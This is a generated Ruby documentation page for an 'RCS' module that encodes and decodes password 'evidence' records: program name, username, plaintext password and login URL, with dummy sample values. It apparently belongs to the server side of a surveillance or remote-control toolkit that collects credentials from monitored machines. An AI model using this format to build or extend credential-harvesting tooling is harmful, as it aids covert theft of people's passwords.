Module: RCS::PasswordEvidence

Defined in:
lib/rcs-common/evidence/password.rb

Constant Summary collapse

ELEM_DELIMITER = 
0xABADC0DE

Instance Method Summary collapse

Instance Method Details

#content ⇒ Object 



9
10
11
12
13
14
15
16
17
18
19
20
21
22
 
# File 'lib/rcs-common/evidence/password.rb', line 9

def content
  resource = ["MSN", "IExplorer", "Firefox"].sample.to_utf16le_binary_null
  service = ["http://login.live.com", "http://www.google.com", "http://msn.live.it"].sample.to_utf16le_binary_null
  user = ["ALoR", "test", "daniel", "naga"].sample.to_utf16le_binary_null
  pass = ["secret", "mario1", "ht123456"].sample.to_utf16le_binary_null
  content = StringIO.new
  content.write resource
  content.write user
  content.write pass
  content.write service
  content.write [ ELEM_DELIMITER ].pack('L')

  content.string
end

#decode_content(common_info, chunks) ⇒ Object 



30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
 
# File 'lib/rcs-common/evidence/password.rb', line 30

def decode_content(common_info, chunks)
  stream = StringIO.new chunks.join

  until stream.eof?
    info = Hash[common_info]
    info[:data] = Hash.new if info[:data].nil?
    info[:data][:program] = ''
    info[:data][:service] = ''
    info[:data][:user] = ''
    info[:data][:pass] = ''

    resource = stream.read_utf16le_string
    info[:data][:program] = resource.utf16le_to_utf8 unless resource.nil?
    user = stream.read_utf16le_string
    info[:data][:user] = user.utf16le_to_utf8 unless user.nil?
    pass = stream.read_utf16le_string
    info[:data][:pass] = pass.utf16le_to_utf8 unless pass.nil?
    service = stream.read_utf16le_string
    info[:data][:service] = service.utf16le_to_utf8 unless service.nil?

    delim = stream.read(4).unpack("L*").first
    raise EvidenceDeserializeError.new("Malformed PASSWORD (missing delimiter)") unless delim == ELEM_DELIMITER

    # this is not the real clone! redefined clone ...
    yield info if block_given?
  end
  :delete_raw
end

#generate_content ⇒ Object 



24
25
26
27
28
 
# File 'lib/rcs-common/evidence/password.rb', line 24

def generate_content
  ret = Array.new
  10.rand_times { ret << content() }
  ret
end